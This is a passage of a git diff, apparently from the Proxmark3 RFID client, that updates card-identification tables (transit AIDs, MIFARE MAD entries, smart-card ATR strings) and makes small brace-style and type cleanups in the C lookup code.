"Umo Mobility via Cubic Transportation Systems", + "Country": "US / CA", + "Name": "Umo Mobility Card", + "Description": "Umo Mobility Card", + "Type": "transport" + }, + { + "AID": "9034CA", "Vendor": "Urban Mobility Center", "Country": "BG", "Name": "Sofia City Card (SOF)", "Description": "SOF Sofia City Card", "Type": "transport" }, + { + "AID": "CC00CC", + "Vendor": "Central Ohio Transit Authority (COTA) via Masabi Ltd", + "Country": "US", + "Name": "COTA Smartcard (CMH)", + "Description": "CMH COTA Smartcard; Masabi Justride Tap and Ride DESFire Smartcard", + "Type": "transport" + }, + { + "AID": "D000D0", + "Vendor": "Greater Dayton Regional Transit Authority (RTA) via Masabi Ltd", + "Country": "US", + "Name": "RTA Tapp Pay Card (DAY)", + "Description": "DAY RTA Tapp Pay Card; Masabi Justride Tap and Ride DESFire Smartcard", + "Type": "transport" + }, + { + "AID": "DD00DD", + "Vendor": "Regional Transporation District (RTD) via Masabi Ltd", + "Country": "US", + "Name": "MyRide Card (DEN)", + "Description": "DEN MyRide Card; Masabi Justride Tap and Ride DESFire Smartcard", + "Type": "transport" + }, { "AID": "EF2011", "Vendor": "Helsinki Region Transport (HRT)", @@ -913,18 +1345,18 @@ }, { "AID": "F21050", - "Vendor": "Metro Christchurch via INIT", - "Country": "NZ", - "Name": "Metrocard (CHC)", - "Description": "FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance", + "Vendor": "Metro Christchurch via INIT / Arc via Vix Technologies", + "Country": "NZ / CA", + "Name": "Metrocard (CHC) / Arc (YEG)", + "Description": "CHC FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance", "Type": "transport" }, { "AID": "F210E0", - "Vendor": "TriMet", + "Vendor": "TriMet via INIT", "Country": "US", - "Name": "Hop Fastpass (PDX)", - "Description": "PDX Hop Card", + "Name": "hop fastpass (PDX)", + "Description": "PDX hop fastpass Card", "Type": "transport" }, { @@ -947,8 +1379,8 @@ "AID": "F21150", "Vendor": "Prague Public Transit Company via Haguess a.s.", "Country": "CZ", - "Name": "Lítačka Opencard (PRG)", - "Description": "PRG Lítačka Opencard", + "Name": "Litacka Opencard (PRG)", + "Description": "PRG Litacka Opencard", "Type": "transport" }, { @@ -959,9 +1391,41 @@ "Description": "FIDs 02: Card Balance; 04: Refill History; 08: Card Information; 0E: Trip History", "Type": "transport" }, + { + "AID": "F21191", + "Vendor": "Metropolitan Transportation Commission via Cubic", + "Country": "US", + "Name": "Clipper Card (Mobile)", + "Description": "", + "Type": "transport" + }, + { + "AID": "F21201", + "Vendor": "Green Bay Metro Transit via Genfare / Winnipeg Transit via Genfare", + "Country": "US / CA", + "Name": "Tap-N-Go Card (GRB) / peggo card (YWG)", + "Description": "GRB Tap-N-Go Card / YWG peggo card", + "Type": "transport" + }, + { + "AID": "F21202", + "Vendor": "Green Bay Metro Transit via Genfare", + "Country": "US", + "Name": "Tap-N-Go Card (GRB)", + "Description": "GRB Tap-N-Go Card", + "Type": "transport" + }, + { + "AID": "F212A0", + "Vendor": "CTtransit via Genfare", + "Country": "US", + "Name": "Go CT Card (BDL)", + "Description": "BDL Go CT Card", + "Type": "transport" + }, { "AID": "F21360", - "Vendor": "INIT", + "Vendor": "The City and County of Honolulu via INIT", "Country": "US", "Name": "HOLO Card (HNL)", "Description": "HNL HOLO Card", @@ -972,12 +1436,12 @@ "Vendor": "Chicago Transit Authority (CTA) via Cubic", "Country": "US", "Name": "Ventra Card (ORD)", - "Description": "ORD Ventra Card [Gen 2 Blue] // Multi-Modal Transit #1 // FIDs 00-01: Standard Data", + "Description": "ORD Ventra Card (Gen 2 Blue) // Multi-Modal Transit #1 // FIDs 00-01: Standard Data", "Type": "transport" }, { "AID": "F21390", - "Vendor": "Multiple NZ Transit Agencies via Otago Regional Council", + "Vendor": "Otago Regional Council via INIT", "Country": "NZ", "Name": "Bee Card (DUD)", "Description": "Multi-Modal Transit #0 // FIDs 00: Backup Data; 01-02: Trip History; 03: Card Balance", @@ -999,11 +1463,19 @@ "Description": "One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data", "Type": "transport" }, + { + "AID": "F21400", + "Vendor": "Spokane Transit Authority (STA) via INIT", + "Country": "US", + "Name": "Connect Card (GEG)", + "Description": "GEG Connect Card", + "Type": "transport" + }, { "AID": "F40110", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", + "Name": "GWR touch (BRS) / EMR Smartcard (EMA)", "Description": "UK National Smartcard Project // Provision of Citizen Services #1", "Type": "transport" }, @@ -1011,7 +1483,7 @@ "AID": "F40111", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", + "Name": "GWR touch (BRS) / EMR Smartcard (EMA)", "Description": "UK National Smartcard Project // Provision of Citizen Services #2", "Type": "transport" }, @@ -1019,21 +1491,21 @@ "AID": "F40112", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", + "Name": "GWR touch (BRS) / EMR Smartcard (EMA)", "Description": "UK National Smartcard Project // Provision of Citizen Services #3", "Type": "transport" }, - { + { "AID": "F40113", "Vendor": "ITSO Ltd", "Country": "UK", - "Name": "EMR Smartcard (EMA) / GWR touch (BRS)", + "Name": "GWR touch (BRS) / EMR Smartcard (EMA)", "Description": "UK National Smartcard Project // Provision of Citizen Services #4", "Type": "transport" }, { "AID": "FF30FF", - "Vendor": "Metrolinx", + "Vendor": "Metrolinx via Accenture", "Country": "CA", "Name": "PRESTO Card (YYZ/YHM/YOW)", "Description": "FID 08: Standard Data", diff --git a/client/resources/aidlist.json b/client/resources/aidlist.json index 9b6d58317..53828dbc1 100644 --- a/client/resources/aidlist.json +++ b/client/resources/aidlist.json @@ -1247,14 +1247,6 @@ "Description": "PIV End Point Applet. Last 2 bytes designate version", "Type": "" }, - { - "AID": "A000000308000010000100", - "Vendor": "National Institute of Standards and Technology", - "Country": "United States", - "Name": "Personal Identity Verification (PIV) / ID-ONE PIV BIO", - "Description": "PIV End Point Applet. Last 2 bytes designate version", - "Type": "" - }, { "AID": "A00000031510100528", "Vendor": "Currence Holding/PIN BV", @@ -2470,5 +2462,37 @@ "Name": "Navigo", "Description": "CALYPSO-based transit card", "Type": "transport" + }, + { + "AID": "A0000000791000", + "Vendor": "HID Global", + "Country": "", + "Name": "Crescendo ACA", + "Description": "HID Crescendo ACA", + "Type": "access" + }, + { + "AID": "A0000000792300", + "Vendor": "HID Global", + "Country": "", + "Name": "Crescendo OATH #0 (HOTP)", + "Description": "HID Crescendo Key OATH instance 0 (default HOTP slot)", + "Type": "access" + }, + { + "AID": "A0000000792301", + "Vendor": "HID Global", + "Country": "", + "Name": "Crescendo OATH #1", + "Description": "HID Crescendo Key OATH instance 1", + "Type": "access" + }, + { + "AID": "A0000000792302", + "Vendor": "HID Global", + "Country": "", + "Name": "Crescendo OATH #2", + "Description": "HID Crescendo Key OATH instance 2", + "Type": "access" } ] diff --git a/client/resources/iceman.txt b/client/resources/iceman.txt new file mode 100644 index 000000000..ad58ac814 --- /dev/null +++ b/client/resources/iceman.txt @@ -0,0 +1,8 @@ +$$$$$$\ $$$$$$\ $$$$$$$$\ $$\ $$\ $$$$$$\ $$\ $$\  +\_$$ _|$$ __$$\ $$ _____|$$$\ $$$ |$$ __$$\ $$$\ $$ | + $$ | $$ / \__|$$ | $$$$\ $$$$ |$$ / $$ |$$$$\ $$ | + $$ | $$ | $$$$$\ $$\$$\$$ $$ |$$$$$$$$ |$$ $$\$$ | + $$ | $$ | $$ __| $$ \$$$ $$ |$$ __$$ |$$ \$$$$ | + $$ | $$ | $$\ $$ | $$ |\$ /$$ |$$ | $$ |$$ |\$$$ | +$$$$$$\ \$$$$$$ |$$$$$$$$\ $$ | \_/ $$ |$$ | $$ |$$ | \$$ | +\______| \______/ \________|\__| \__|\__| \__|\__| \__| \ No newline at end of file diff --git a/client/resources/mad.json b/client/resources/mad.json index a9158fa2a..6b8465f55 100644 --- a/client/resources/mad.json +++ b/client/resources/mad.json @@ -272,6 +272,13 @@ "service_provider": "", "system_integrator": "" }, + { + "application": "Parking systems.", + "company": "Les parkings de Paris La Défense", + "mad": "0x00FF", + "service_provider": "Les parkings de Paris La Défense", + "system_integrator": "Les parkings de Paris La Défense" + }, { "application": "Internal use (Tests, Demos...)", "company": "Ascom Monétel", @@ -4116,6 +4123,20 @@ "service_provider": "HID Corporation", "system_integrator": "HID Corporation" }, + { + "application": "Access Control Biometric (SIO)", + "company": "HID Global", + "mad": "0x3D02", + "service_provider": "HID Corporation", + "system_integrator": "HID Corporation" + }, + { + "application": "Access Control (SIO Elite)", + "company": "HID Global", + "mad": "0x3D05", + "service_provider": "HID Corporation", + "system_integrator": "HID Corporation" + }, { "application": "City transport, prepaid ticket, cardholder, servicespass", "company": "Ridango AS", @@ -4690,6 +4711,13 @@ "service_provider": "Enkoa", "system_integrator": "Juan Cruz Iriondo" }, + { + "application": "Access control", + "company": "Inner Range", + "mad": "0x4730", + "service_provider": "Inner Range", + "system_integrator": "Inner Range" + }, { "application": "Trade fair card Deutsche Messe AG, Hannover", "company": "Systemform GmbH", diff --git a/client/src/aidsearch.c b/client/src/aidsearch.c index 48ea3fdc6..98607d199 100644 --- a/client/src/aidsearch.c +++ b/client/src/aidsearch.c @@ -84,16 +84,19 @@ static const char *jsonStrGet(json_t *data, const char *name) { json_t *jstr; jstr = json_object_get(data, name); - if (jstr == NULL) + if (jstr == NULL) { return NULL; + } + if (!json_is_string(jstr)) { PrintAndLogEx(ERR, "`%s` is not a string", name); return NULL; } const char *cstr = json_string_value(jstr); - if (strlen(cstr) == 0) + if (strlen(cstr) == 0) { return NULL; + } return cstr; } @@ -125,17 +128,20 @@ int PrintAIDDescription(json_t *xroot, char *aid, bool verbose) { int retval = PM3_SUCCESS; json_t *root = xroot; - if (root == NULL) + if (root == NULL) { root = AIDSearchInit(verbose); - if (root == NULL) + } + if (root == NULL) { goto out; + } json_t *elm = NULL; size_t maxaidlen = 0; for (size_t elmindx = 0; elmindx < json_array_size(root); elmindx++) { json_t *data = AIDSearchGetElm(root, elmindx); - if (data == NULL) + if (data == NULL) { continue; + } const char *dictaid = jsonStrGet(data, "AID"); if (aidCompare(aid, dictaid)) { // dictaid may be less length than requested aid if (maxaidlen < strlen(dictaid) && strlen(dictaid) <= strlen(aid)) { @@ -145,8 +151,9 @@ int PrintAIDDescription(json_t *xroot, char *aid, bool verbose) { } } - if (elm == NULL) + if (elm == NULL) { goto out; + } // print here const char *vaid = jsonStrGet(elm, "AID"); @@ -175,8 +182,9 @@ int PrintAIDDescription(json_t *xroot, char *aid, bool verbose) { } out: - if (xroot == NULL) + if (xroot == NULL) { AIDSearchFree(root); + } return retval; } diff --git a/client/src/atrs.c b/client/src/atrs.c index d8f11587f..ee7d50711 100644 --- a/client/src/atrs.c +++ b/client/src/atrs.c @@ -24,22 +24,26 @@ // get a ATR description based on the atr bytes // returns description of the best match const char *getAtrInfo(const char *atr_str) { + size_t slen = strlen(atr_str); int match = -1; - // skip last element of AtrTable - for (int i = 0; i < ARRAYLEN(AtrTable) - 1; ++i) { - if (strlen(AtrTable[i].bytes) != slen) + // skip last element of AtrTable + for (size_t i = 0; i < ARRAYLEN(AtrTable) - 1; ++i) { + + if (strlen(AtrTable[i].bytes) != slen) { continue; + } if (strstr(AtrTable[i].bytes, ".") != NULL) { + char *tmp_atr = calloc(slen, sizeof(uint8_t)); if (tmp_atr == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return NULL; } - for (int j = 0; j < slen; j++) { + for (size_t j = 0; j < slen; j++) { tmp_atr[j] = (AtrTable[i].bytes[j] == '.') ? '.' : atr_str[j]; } diff --git a/client/src/atrs.h b/client/src/atrs.h index 1e7979c53..73ebb857d 100644 --- a/client/src/atrs.h +++ b/client/src/atrs.h @@ -44,6 +44,7 @@ const static atr_t AtrTable[] = { { "3B003B28003441454130323030", "Cryptoguard card used for pay tv Plustelka (DVB-T2 - Slovak) (Pay TV)\nhttps://www.plustelka.sk/" }, { "3B021050", "Visa (Bank)" }, { "3B02141C", "UAE (United Arab Emirates) (eID)" }, + { "3B021425", "Nk (Bank)" }, { "3B021435", "cartao cidadao (eID)" }, { "3B021450", "Schlumberger Multiflex 3k" }, { "3B02145011", "Maste visa card (Bank)" }, @@ -102,6 +103,7 @@ const static atr_t AtrTable[] = { { "3B058073F701C0", "(Shenzhen, China) Mingwah Aohan eKey, eID\nhttp://en.mwcard.com/index.php?option=com_k2&view=item&layout=item&id=79&Itemid=439" }, { "3B060000042ECF4C", "HID 1346 ProxKey III\nhttp://www.hidglobal.com/products/cards-and-credentials/hid-proximity/1346" }, { "3B06000564032B2B", "HID 0009 P (eID)" }, + { "3B060009C480003B", "XceedID (Other)" }, { "3B06001001D6C546", "HID ProxKey II FOB\nhttp://www.hidglobal.com/documents/proxkey_ds_en.pdf" }, { "3B0601........", "HID Prox H10301 Format\n26 bit (FAC+CN)\nhttps://www.hidglobal.com/sites/default/files/omnikey_contactless_developer_guide.pdf" }, { "3B06010002009606", "EM4200 (eID)\nhttps://www.emmicroelectronic.com/product/lf-animal-access-ics/em4200" }, @@ -161,6 +163,7 @@ const static atr_t AtrTable[] = { { "3B1618D0000B010300", "Cellular SIM (Telecommunication)" }, { "3B169420020120010D", "Rogers SIM Card (phone / cable provider in Canada)" }, { "3B16942006010C0100", "Vodafone Romania (Telecommunication)" }, + { "3B1694588000010203", "Thales PayShield 9000 Test Local Master Key (hardware key) card (Other)" }, { "3B1694618000010603", "Thales PayShield9000 Local Master Key (hardware key) card (Other)" }, { "3B1694710101002700", "Cingular GSM SIM Card" }, { "3B1694710101010200", "Iridium SIM Card (Telecommunication)" }, @@ -180,8 +183,10 @@ const static atr_t AtrTable[] = { { "3B16959B0007011803", "Thai GSM UICC (Telecommunication)" }, { "3B1695D00045F70100", "Telefonica O2 Czech Republic, a.s. - O2 sim card - 173285 / SIM64ND.GO0\nhttp://www.o2.cz" }, { "3B1695D0016CFD0D00", "Virgin Mobile SIM card (SIM)" }, + { "3B1695D0016EF40C00", "SIM card (Telecommunication)" }, { "3B1695D0017B010E00", "Vivo Brasil - SIM Card (Telecommunication)" }, { "3B1695D0017BDA0D00", "Verizon GSM SIM (Telecommunication)" }, + { "3B16962A000E010103", "RW SIM card for mobile forensics (Telecommunication)" }, { "3B1696417374726964", "Gemalto IDPrime v2+ .NET" }, { "3B1696770006010403", "AIS One-2-Call GSM UICC (Telecommunication)\nhttp://www.ais.co.th" }, { "3B1696BA000E010603", "Vinaphone Vietnam SIM" }, @@ -215,6 +220,7 @@ const static atr_t AtrTable[] = { { "3B1894530D06772407FF02", "GSM SIM Tele2 Estonia, prepaid (Telecommunication)" }, { "3B1894532007AD0A05FF02", "GSM SIM Beeline Kazakhstan (Telecommunication)\nhttp://beeline.kz/" }, { "3B18962621550401030001", "OBILedit Forensic SIM Cloning card (Telecommunication)\nhttps://www.mobiledit.com/connection-kit" }, + { "3B18968921A00120240716", "Token2 T2F2-NFC-Card PIN+ Release3 (Other)\nhttps://www.token2.com/shop/product/t2f2-nfc-card-pin-release3" }, { "3B19145590010101000508B0", "Schlumberger Multiflex 8k" }, { "3B19145590010201000504B0", "Schlumberger Multiflex 4k" }, { "3B19145901010F01000508B0", "Schlumberger Multiflex 8k" }, @@ -235,9 +241,11 @@ const static atr_t AtrTable[] = { { "3B1D1106027F3F130317010011351000", "XL (Telecommunication)\nhttp://www.xl.co.id/" }, { "3B1D11434C5F53414D00143800009000", "Planeta Informatica CL-SAM (Transport)\nhttp://www.planeta.inf.br" }, { "3B1D9600230700000000000000009000", "emulator card prototype from ST" }, + { "3B1D968117081212003D17020000C300", "J3R180 SecID (Telecommunication)\nhttp://www.gdrfid.com/" }, { "3B1D97434C5F53414D00143800009000", "CLSAM (Transport)\nhttp://www.planeta.inf.br" }, { "3B1E130069454D4345663228F86B009000", "ECHS (Ex-servicemen Contributory Health Scheme) Card (HealthCare)\nhttp://echs.gov.in/" }, { "3B1E95806721544D4D04120E7132829F00", "SIM card of old Ukrainian Telecommunications Operator Ace&Base (deriving from Kyivstar) (Telecommunication)\nhttps://kyivstar.ua/uk/mm" }, + { "3B1E96806908485104376172020A0F9000", "Swedish Defense electronic ID card (PKI)" }, { "3B1F110067424146495345535266FF819000", "Finnish student id card" }, { "3B1F110067804246495345105266FF819000", "Nokia branded SC (Setec)" }, { "3B1F11006A013846495345108C02FF079000", "GSM-SIM Saunalahti (from 2004)\nFinnish cell phone operator 'Sonera' SIM card (from 2002)" }, @@ -324,6 +332,7 @@ const static atr_t AtrTable[] = { { "3B39110026BF00F00000839000", "MAGIS Club Access card (Other)" }, { "3B391300806416040186829000", "The cantonal bank of Baselland (Bank)" }, { "3B391300806416040282829000", "Swiss cantonal bank (Bank)" }, + { "3B391300806420040183829000", "Credit Suisse CSX Mastercard Debit (Bank)\nhttps://www.credit-suisse.com/ch/en/private-clients/account-cards/bank-cards/debit-mastercard.html" }, { "3B391900534F4D41445333303[1,3]", "Identity card of the Republic of Kazakhstan (passport)\nhttp://pki.gov.kz/" }, { "3B3B..00806.A[FE]030[CD]....83..9000", "GemXplore Xpresso V3" }, { "3B3B026F333BDB9600801F030031C0", "US Government CAC (PKI)" }, @@ -350,6 +359,7 @@ const static atr_t AtrTable[] = { { "3B3B94006A3820000000A033339000", "Croatia VIPNet Mobile Operator (Telecommunication)" }, { "3B3B94006A3820000009E033339000", "virgin mobile (french) SIM card" }, { "3B3B94006A382000000A2033339000", "SIM Card for cellular (Orange) (Telecommunication)" }, + { "3B3B94006F38101041018003039000", "Orange SIM (Telecommunication)" }, { "3B3B94008065321304033083819000", "SIM cards by the austrian cell phone provider A1" }, { "3B3B94008065AF030D0174830F9000", "Gemplus GemXplore Xpresso V3 B1P\nMobistar SIM - Belgium (Gemplus)" }, { "3B3B94009138115046974033339000", "Leclerc Mobile (French MVNO) SIM card" }, @@ -367,6 +377,7 @@ const static atr_t AtrTable[] = { { "3B3B9600914110205709A000339000", "old vodafone romania sim (Telecommunication)\nhttps://vodafone.ro" }, { "3B3B9600924210105A02E000339000", "Roaming Test SIM (Telecommunication)" }, { "3B3B9600A74C90000090AC33339000", "Brazilian TIM GSM SIM" }, + { "3B3BD6970081B1FE451F078031C152", "US government PIV card eID\nOberthur ID One PIV eID\nNASA Personal Identity Verification (PIV) card (eID)\nIDEMIA Cosmo V8.0 with a PIV applet eID" }, { "3B3BF71800008031FE45736674652D", "Serasa Experian (PKI)\nhttps://serasa.certificadodigital.com.br/" }, { "3B3BFF1800FF8131FE55006B020903", "Smart card commercial chamber - Tuscan region - Aruba (eID)" }, { "3B3C110040AF13F31200068783809000", "SIM GSM Orange Fr" }, @@ -376,6 +387,7 @@ const static atr_t AtrTable[] = { { "3B3C9400423111A21202095183809000", "Omnitel IT 16K GSM SIM card" }, { "3B3C9400443111F000002CAE83839000", "Movistar Spain (Telecommunication)" }, { "3B3C94004B3125A21013144783839000", "GSM SFR" }, + { "3B3C94004B3125A7240C027E80809000", "D2 mannesmann mobilphone-card (Other)" }, { "3B3C94004C3125A7201B001583839000", "GSM-SIM (900MHz) card of the carrier vodafone for their cellular\nnetwork (phase 2+ with 3V)" }, { "3B3C9400633112F00000464083839000", "Old russian 'beeline' sim" }, { "3B3D9400010F0036000086601804000107", "Vodafone GSM / Turkey" }, @@ -408,6 +420,7 @@ const static atr_t AtrTable[] = { { "3B3F94008069AF03070668007F0A0E833E9F16", "Debitel Vodafone, de (Telecommunication)" }, { "3B3F94008069AF0307066800850A0E833E9F16", "O2 (UK) SIM" }, { "3B3F94008069AF030F0280FFFF060E833E9F16", "GSM-SIM Telefonica Movistar, prepaid (Spain)" }, + { "3B3F94008069AF030F06A3FFFF060E833E9F16", "Kievstar gsm operator Ukrain (Telecommunication)" }, { "3B3F94008069AF030F07A40000060E833E9F16", "SIM Card PRO from the austrian telecom 'A1'" }, { "3B3F95008065AF0312016F7332211B83009000", "Gemplus GemXpresso PRO 64 PK SIM" }, { "3B3F95008065AF0312016F7332211B830F9000", "Vodafone Italia SIM 64K" }, @@ -423,7 +436,9 @@ const static atr_t AtrTable[] = { { "3B4F0041543838534331303220202020FFFF", "siral smartcard (JavaCard)" }, { "3B4F004932435F436172643D4E6F5F515452", "AT24C (Bank)" }, { "3B4F00536C653434322D34343DA2131091", "Debit card (Bank)" }, + { "3B4F00536C65343433322D34323D30000000", "Blank card (Other)" }, { "3B4F00536C65343433322D34323DA2131091", "VISA (Bank)" }, + { "3B4F00536C65343433322D34323DFFFFFFFF", "LTE Testing (Telecommunication)" }, { "3B501100", "JAVA (JavaCard)" }, { "3B57180293020101019000", "Easyflex FastOS 2.0 / Schlumberger" }, { "3B5B96000031C064BAFC10000F9000", "SERGAS - Galician Healthcare Service (Spain) (HealthCare)\nhttps://www.sergas.gal" }, @@ -438,11 +453,25 @@ const static atr_t AtrTable[] = { { "3B5F9600805A2C1100101000FFFFFFFF829000", "Calypso (Transport)" }, { "3B5F9600805A3F0608140101C546DEDC829000", "Navegante(r) Personalizado (Lisbon public transportation card) (Transport)\nhttps://www.navegante.pt/viajar/cartoes" }, { "3B5F9600805A3F0608140101C546EBDC829000", "Multi-Transport Pass (Navegante) (Metro, Bus, Electric, Boat) Carris Metropolitano, PT (Transport)\nhttps://www.navegante.pt/" }, + { "3B5F9600805A3F0608201223C42F0E8D829000", "OPUS Card / Montreal (Transport)\nhttps://opusenligne.ca/en" }, { "3B5F9600805A3F0608201223C4325FDE829000", "Montreal metropolitan area and Quebec city area OPUS card (Transport)\nhttps://www.carteopus.info/" }, { "3B5F9600805A3F0608201223C43AA6E0829000", "Montreal/Quebec transit OPUS card (Transport)\nhttps://www.carteopus.info/?language=en" }, + { "3B5F9600805A3F0608201223C4427698829000", "Opus Card for public transportation in the Greater Montreal Area, and in Quebec City. It uses the Calypso Standard. (Transport)\nhttps://en.wikipedia.org/wiki/OPUS_card" }, + { "3B5F9600805A3F0608201223C44CFB30829000", "OPUS Card, used for transit in Greater Montreal and Quebec City, Canada (Transport)\nhttps://www.carteopus.info/?language=en" }, + { "3B5F9600805A3F0608201223C44E6F25829000", "OPUS Metro card from Quebec, Canada (Transport)\nhttps://en.wikipedia.org/wiki/Opus_card" }, + { "3B5F9600805A3F1330141001C568504E829000", "OURA transport French (Transport)" }, + { "3B5F9600805A3F1330141001C5D3ADC1829000", "OURA card (Transport)" }, + { "3B5F9600805A3F1330141001C5D7A7E9829000", "<< Oura >> transport card (Transport)\nhttps://www.oura.com/" }, + { "3B5F9600805A3F1330141001C656B5AA829000", "Oura Auvergne Rhone Alpes (Transport)\nhttps://oura.com" }, + { "3B5F9600805A3F1330141001C6619BEA829000", "Oura card for Auvergne-Rhone-Alpes region in France. Using for several public transport (Transport)\nhttps://www.oura.com/" }, + { "3B5F9600805A3F2BC4141001C52E6FD3829000", "Mobib basic (Brussels transit card) (contact interface) (Transport)\nhttps://www.stib-mivb.be/buy/all-your-journeys-with-mobib" }, + { "3B5F9600805A3F2BC4141001C5826963829000", "MOBIB Personal Travel Card, Brussels | STIB-MIVB (Transport)\nhttps://www.stib-mivb.be/article.html?_guid=d02c7fb6-3e9c-3810-248e-eec4ee5ebc8c&l=en" }, { "3B5F9600805AFFFF00FFFF0178724041829000", "Oura Card SNCF Transport - France Auvergne Rhone-Alpes (Transport)\nhttps://www.oura.com/xbi/boutique/card" }, + { "3B5F9600805AFFFF00FFFF0178728A57829000", "France Rhone-Alpes Region 'Carte Oura' 2nd generation (Transport)\nhttps://www.oura.com/la-demarche-oura/" }, { "3B600000", "Meano (Bank)" }, + { "3B61000041", "SBERKARTA MOMENTUM (Bank)" }, { "3B61000080", "blank A40CR card (JavaCard)" }, + { "3B6200004744", "UnionPay Debit card issued by Bank of China (Contact) (Bank)\nhttps://www.boc.cn/" }, { "3B630000364180", "Schlumberger Payflex 4k User" }, { "3B64..FF8062..A2", "JCOP20" }, { "3B64000080620.51", "Setec SetCOS 5.1.0 EMV" }, @@ -450,6 +479,10 @@ const static atr_t AtrTable[] = { { "3B6500002063CB1020", "VISA Premier debit card (Bank)" }, { "3B6500002063CB3020", "CB / VISA La Banque Postale (IDEMIA) (Bank)" }, { "3B6500002063CB3040", "Credit Mutuel Debit card (Bank)" }, + { "3B6500002063CB3220", "Societe Generale CB Visa Debit (Bank)" }, + { "3B6500002063CB3240", "Fnac MasterCard (contact interface) (Bank)\nhttps://www.fnac.com/carte-fnac-mastercard" }, + { "3B6500002063CB32A1", "MONABANQ (Bank - France) (Bank)" }, + { "3B6500002063CB32C1", "Credit Card Credit Mutuel (Bank)\nhttps://www.creditmutuel.fr/partage/fr/CC/telechargements/communiques-de-presse/CM/2021/2021-03-17_CP-Carte_PVC_recycle.pdf" }, { "3B6500002063CB4700", "Orga SmartyPlus DATA STORE issued by MORPHO CARDS PERU" }, { "3B6500002063CB6300", "Bank card from Societe Generale (Oberthur)" }, { "3B6500002063CB6400", "Bank card Caisse d'Epargne" }, @@ -511,6 +544,7 @@ const static atr_t AtrTable[] = { { "3B6500002063CBC000", "Nickel Credit Card (Bank)\nhttps://nickel.eu" }, { "3B6500002063CBC080", "VISA debit card (Bank)\nhttps://www.cic.fr/fr/banques/professionnels/gestion-courante/cartes-paiement-professionnelles.html" }, { "3B6500002063CBC100", "CIC (Bank)\nhttps://www.cic.fr/" }, + { "3B6500002063CBC280", "Debit Card (Bank)" }, { "3B6500002063CBC300", "CIC Credit Card (Bank)" }, { "3B6500002063CBC310", "Pass Restaurant Sodexo Pass France (Bank)\nhttps://moncompte.sodexopass.fr/" }, { "3B6500002063CBC380", "Apetiz restaurant card (French luncheon vouchers) (Bank)\nhttps://www.apetiz.com/faq/?thematic=achats-apetiz-quoi-quand-combien" }, @@ -607,7 +641,7 @@ const static atr_t AtrTable[] = { { "3B6800000073C84010009000", "Icelandic Banking scheme Issued by the Ministry of Treasure in Iceland\nhttp://www.islandsrot.is/" }, { "3B6800000073C84011009000", "Woolworths Everyday Money prepaid Mastercard\nNordea Bank Norway Visa + national debet card [BankAxept]\nVISA Classic - Nordlandsbanken (Norway)\nCiti Double Cash MasterCard\nWescom Credit Union Visa Debit Card (Bank)\nhttps://www.wescom.org/CHECKING/CHECK-CARD.ASP" }, { "3B6800000073C84012009000", "Brazilian 'e-CPF' card" }, - { "3B6800000073C84013009000", "MASTERCARD issued by MLP (Marschollek, Lautenschlager and Partner)\nG&D 12696-GDM-10/11 DEBIT CARD issued by BANCO DE CREDITO DEL PERU\nVisa from Caisse populaire Desjardins (Canada) (Bank)\nhttps://www.desjardins.com/\nMasterCard issued by President's Choice Bank (Canada)\nhttp://pcfinancial.ca/mastercard\nMasterCard issued by CIBC (Canada)\nhttp://www.cibc.com/\nMasterCard issued by The Bank of Nova Scotia (Canada)\nhttp://www.scotiabank.com/\nMasterCard issued by JPMorgan Chase Bank, N.A.\nhttps://www.chase.com/\nCaixaBank Visa Electron (Bank)\nhttps://www.lacaixa.cat/\nAmerican Express Canada Credit Card (Bank)\nAlfa-bank Russia Visa" }, + { "3B6800000073C84013009000", "MASTERCARD issued by MLP (Marschollek, Lautenschlager and Partner)\nG&D 12696-GDM-10/11 DEBIT CARD issued by BANCO DE CREDITO DEL PERU\nVisa from Caisse populaire Desjardins (Canada) (Bank)\nhttps://www.desjardins.com/\nMasterCard issued by President's Choice Bank (Canada)\nhttp://pcfinancial.ca/mastercard\nMasterCard issued by CIBC (Canada)\nhttp://www.cibc.com/\nMasterCard issued by The Bank of Nova Scotia (Canada)\nhttp://www.scotiabank.com/\nMasterCard issued by JPMorgan Chase Bank, N.A.\nhttps://www.chase.com/\nCaixaBank Visa Electron (Bank)\nhttps://www.lacaixa.cat/\nAmerican Express Canada Credit Card (Bank)\nAlfa-bank Russia Visa\nPNC Bank Visa debit card (Bank)\nhttps://www.pnc.com/en/personal-banking/banking/debit-and-prepaid-cards/pnc-bank-visa-debit-card.html" }, { "3B6800000073C8401300907D", "NextCard - Mastercard Debit card - Intesa Sanpaolo Bank (Italy) (Bank)\nhttps://www.intesasanpaolo.com/it/persone-e-famiglie/prodotti/carte/carte-di-debito/next-card.html" }, { "3B68000000DE511001019000", "Itau Bank Mastercard Debit Card (Brazil) (Bank)\nhttps://www.itau.com.br" }, { "3B6800000101309600009000", "Edenred - French Restoration e-Ticket card (2013) (Other)\nhttps://www.edenred.fr/ticket-restaurant" }, @@ -619,6 +653,8 @@ const static atr_t AtrTable[] = { { "3B6800004D4343434C322E31", "Mastercard debit card from FIO bank, CZ (Bank)\nhttps://www.fio.cz/bankovni-sluzby/platebni-karty/mastercard-debit-contactless" }, { "3B68000053430660010F9000", "Credit Card Credicard (Bank)\nhttp://www.credicard.com.br" }, { "3B68000053430660010F9090", "Discount (Bank)" }, + { "3B68000053430662010F9000", "LINE Bank by Hana Bank Sally Debit Visa (Bank)" }, + { "3B68000053430663010F9000", "Maybank ID Debit Mastercard (Bank)\nBank BRI Blue Debit GPN (Bank)" }, { "3B68000053432D3031324A53", "Blue (Bank)" }, { "3B6800005448204E49442036", "Thai id card (Other)" }, { "3B680000565344434C433130", "VISA (Estonian), made by www.trueb.ch\nLatvian bank 'Latvijas Krajbanka' (VISA Electron)" }, @@ -650,6 +686,7 @@ const static atr_t AtrTable[] = { { "3B6900002494010000000001A9", "Kazakhstan Helios gas station debit card\nhttp://helios.kz/" }, { "3B6900002494010201000101A9", "Chipcard from SUN to be used in SunRay's\n370-4328-01 (31091)" }, { "3B6900002494010301000100A9", "Schlumberger MicroPayflex S card" }, + { "3B69000047445F44695F54504E", "ICBC (Bank)" }, { "3B6900004944353056312E....", "eID Card 